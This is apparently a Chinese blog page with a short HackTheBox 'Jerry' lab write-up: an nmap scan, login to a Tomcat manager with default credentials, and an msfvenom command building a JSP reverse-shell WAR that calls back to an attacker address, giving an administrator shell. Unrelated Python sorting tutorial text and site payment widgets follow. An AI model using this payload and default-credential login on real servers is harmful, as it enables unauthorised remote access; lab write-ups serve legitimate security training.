HackTheBox::Jerry

0x00 信息收集

nmap -Pn -sV -p- -T 4 10.10.10.95

PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

8080端口是tomcat默认的界面,通常尝试账号密码爆破

使用默认口令tomcat/s3cret成功登录manager界面

进入后台后,可以发现上传点

0x01 漏洞利用

利用msfvenom生成jsp格式的shell,并上传war包
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.8 LPORT=4444 -f war > shell.war

可以在后台中看到shell的路径

访问http://10.10.10.95/shell,成功得到shell,而且是管理员权限。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在 Python 中,可以使用 `sorted()` 函数对列表进行排序。如果要按照列表中元素的大小进行排序,可以直接调用 `sorted()` 函数;如果要按照列表中元素的某个属性进行排序,则需要使用 `key` 参数指定排序的依据。 下面是一个示例代码,演示了如何对一个列表按照元素大小进行排序: ```python mylist = [3, 5, 1, 2, 4] sorted_list = sorted(mylist) print(sorted_list) ``` 输出结果: ``` [1, 2, 3, 4, 5] ``` 如果要按照元素的某个属性进行排序,例如对一个学生列表按照成绩进行排序,可以使用 `key` 参数指定排序的依据。下面是一个示例代码: ```python class Student: def __init__(self, name, score): self.name = name self.score = score students = [ Student('Tom', 80), Student('Jerry', 90), Student('Alice', 85), ] sorted_students = sorted(students, key=lambda x: x.score, reverse=True) for student in sorted_students: print(student.name, student.score) ``` 输出结果: ``` Jerry 90 Alice 85 Tom 80 ``` 在这个例子中,我们定义了一个 `Student` 类表示学生,每个学生有姓名和成绩两个属性。我们创建了一个学生列表 `students`,然后调用 `sorted()` 函数对其进行排序,按照学生成绩从高到低排序。在 `sorted()` 函数中,我们使用了 `key` 参数指定排序的依据,即按照学生的成绩进行排序。由于我们希望按照成绩从高到低排序,因此设置了 `reverse=True`。最后,我们遍历排序后的学生列表,并输出每个学生的姓名和成绩。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值